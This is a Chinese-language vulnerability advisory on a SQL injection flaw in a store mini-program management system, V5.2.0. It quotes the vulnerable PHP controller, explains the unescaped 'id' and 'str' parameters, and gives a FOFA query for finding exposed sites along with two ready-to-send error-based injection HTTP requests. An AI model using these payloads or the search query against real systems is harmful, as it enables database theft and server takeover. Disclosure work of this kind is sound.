漏洞简介
万能门店小程序管理系统是一款功能强大的工具,旨在为各行业商家提供线上线下融合的全方位解决方案。是一个集成了会员管理和会员营销两大核心功能的综合性平台。它支持多行业使用,通过后台一键切换版本,满足不同行业商家的个性化需求。该系统采用轻量后台,搭载高效服务器,确保小程序运行流畅,提升用户体验。万能门店小程序管理系统 /api/wxapps/doPageptpinfo 存在 SQL 注入漏洞,攻击者可通过该漏洞获取数据库中的敏感信息,甚至可能进一步控制服务器。
影响版本
万能门店小程序全开源独立版V5.2.0
fofa语法
body="/new_plat/index.html#/login" || (body="/comhome/cases/index.html" && body="/Comhome/functionshow/index.html")
漏洞分析
application/api/controller/Wxapps.php
//拼团数据自己规格
public function doPageptpinfo()
{
$uniacid = input("uniacid");
$str = input("str");
$types = input("types");
$id = input("id");
$arr = explode("/", $str);
$where = "";
foreach ($arr as $key => &$res) {
$vv = $key + 1;
$where .= " and type" . $vv . " = " . "'" . $res . "'";
}
$prefix = config('database.prefix');
$proinfo = Db::query("SELECT * FROM {$prefix}wd_xcx_pt_pro_val WHERE pid = " . $id . $where . " limit 1");
$baseinfo = Db::name('wd_xcx_pt_pro')->where('id', $id)->find();
if ($baseinfo['thumb']) {
$baseinfo['thumb'] = remote($uniacid, $baseinfo['thumb'], 1);
}
$adata['proinfo'] = $proinfo[0];
if ($adata['proinfo']['thumb']) {
$adata['proinfo']['thumb'] = remote($uniacid, $adata['proinfo']['thumb'], 1);
}
$adata['baseinfo'] = $baseinfo;
$result['data'] = $adata;
return json_encode($result);
}
- id 参数: 该参数未作任何过滤或转义,直接作为 SQL 中 pid 的值拼接,造成SQL注入漏洞。
- str 参数中的各个分割后子串: $str 经 explode("/") 拆分后,每个部分都以 “and type{n} = '用户输入'” 的形式拼接到 SQL 语句中,造成SQL注入漏洞。
漏洞复现
POST /api/wxapps/doPageptpinfo HTTP/1.1
Host: wxapps.mrxn.net
Content-Type: application/x-www-form-urlencoded
id=1+AND+GTID_SUBSET(CONCAT((SELECT(md5(123456)))),3119)%23

POST /api/wxapps/doPageptpinfo HTTP/1.1
Host: wxapps.mrxn.net
Content-Type: application/x-www-form-urlencoded
str=a'+AND+GTID_SUBSET(CONCAT((SELECT(md5(123456)))),3119)%23/b 
